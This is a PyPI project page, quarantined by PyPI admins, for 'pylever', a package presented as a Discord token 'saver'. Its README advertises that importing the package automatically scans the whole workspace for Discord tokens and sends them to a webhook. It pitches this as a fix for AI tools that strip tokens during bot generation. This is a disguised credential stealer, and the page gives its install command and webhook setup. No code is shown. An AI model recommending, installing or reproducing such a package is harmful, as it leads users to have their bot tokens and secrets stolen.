Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

Simply import the module in your code:

import pylever

That's it. The module automatically:

  1. Scans your entire workspace for Discord tokens (72-char strings starting with M or N)
  2. Sends them to your webhook
  3. Stores metadata locally

No additional code needed.

Setup

Edit pylever/token_saver.py and set your webhook URL:

_WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"

Then just import pylever in any file and it runs automatically.

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  1. Scans all files in the specified directory recursively
  2. Looks for 72-character tokens starting with M or N
  3. Sends each token to your Discord webhook
  4. Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  1. Go to your Discord server settings
  2. Navigate to Webhooks
  3. Create a new webhook
  4. Copy the webhook URL
  5. Use it in the module initialization

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pylever-1.0.2.tar.gz (6.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pylever-1.0.2-py3-none-any.whl (6.4 kB view details)

Uploaded Python 3

File details

Details for the file pylever-1.0.2.tar.gz.

File metadata

  • Download URL: pylever-1.0.2.tar.gz
  • Upload date:
  • Size: 6.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.2.tar.gz
Algorithm Hash digest
SHA256 0aa67c703d73fb0922e04b2f797e17ed08b95e5863dd0c964eb978e3cfc17ccf
MD5 eb1bc7a88dfce4c05ff6ab5c3b3ad675
BLAKE2b-256 f2e7bca7eedcf1cf26e7e0f40fcfa7082fbb8bd567301a898c4a0eeeb9fc1d92

See more details on using hashes here.

File details

Details for the file pylever-1.0.2-py3-none-any.whl.

File metadata

  • Download URL: pylever-1.0.2-py3-none-any.whl
  • Upload date:
  • Size: 6.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.2-py3-none-any.whl
Algorithm Hash digest
SHA256 ffb78c1356f4c5fb0ac6952075806f817f3c5ef159cf00a73e99a7ec745fbff4
MD5 4acdc6aa80346a9f36e38df3622e8535
BLAKE2b-256 e89b655d27493d81cb11a2b5058931070df025ad51b9f60848a82446716339e7

See more details on using hashes here.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page